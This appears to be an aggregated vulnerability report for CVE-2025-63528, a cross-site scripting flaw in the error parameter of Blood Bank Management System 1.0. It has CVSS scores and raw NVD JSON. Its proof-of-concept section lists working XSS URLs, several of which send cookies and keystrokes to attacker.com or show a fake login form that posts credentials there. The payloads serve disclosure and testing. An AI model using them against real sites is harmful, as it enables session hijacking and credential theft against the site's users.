Security Vulnerability Report
中文
CVE-2025-63528 CVSS 8.5 HIGH

CVE-2025-63528

Published: 2025-12-01 15:15:52
Last Modified: 2025-12-02 03:04:47

Description

A cross-site scripting (XSS) vulnerability exists in the Blood Bank Management System 1.0 within the blooddinfo.php component. The application fails to properly sanitize or encode user-supplied input before rendering it in response. An attacker can inject malicious JavaScript payloads into the error parameter, which is then executed in the victim's browser when the page is viewed.

CVSS Details

CVSS Score
8.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:shridharshukl:blood_bank_management_system:1.0:*:*:*:*:*:*:* - VULNERABLE
Blood Bank Management System 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-63528 PoC - Blood Bank Management System 1.0 XSS --> <!-- Target: blooddinfo.php error parameter --> <!-- Basic XSS Test --> https://target.com/blooddinfo.php?error=<script>alert('XSS')</script> <!-- Cookie Stealing PoC --> https://target.com/blooddinfo.php?error=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script> <!-- Session Hijacking PoC --> https://target.com/blooddinfo.php?error=<img src=x onerror="this.src='https://attacker.com/log?cookie='+document.cookie"> <!-- Keylogger PoC --> https://target.com/blooddinfo.php?error=<script>document.onkeypress=function(e){fetch('https://attacker.com/k?k='+e.key)}</script> <!-- HTML Injection + Phishing --> https://target.com/blooddinfo.php?error=<div style='position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999'><h1>Session Expired - Please Login Again</h1><form action='https://attacker.com/phish'><input name='username'><input name='password' type='password'><button>Submit</button></form></div>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63528", "sourceIdentifier": "[email protected]", "published": "2025-12-01T15:15:51.650", "lastModified": "2025-12-02T03:04:46.700", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A cross-site scripting (XSS) vulnerability exists in the Blood Bank Management System 1.0 within the blooddinfo.php component. The application fails to properly sanitize or encode user-supplied input before rendering it in response. An attacker can inject malicious JavaScript payloads into the error parameter, which is then executed in the victim's browser when the page is viewed."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:shridharshukl:blood_bank_management_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "5B391DFD-8072-4642-9A31-9E4DE8648367"}]}]}], "references": [{"url": "https://drive.google.com/file/d/12yeOXW_sN69QjsQtW0_k9AGqozi1s0di/view?usp=sharing", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/Shridharshukl/Blood-Bank-Management-System", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/kiwi865/CVEs/blob/main/CVE-2025-63528.md", "source": "[email protected]", "tags": ["Exploit"]}]}}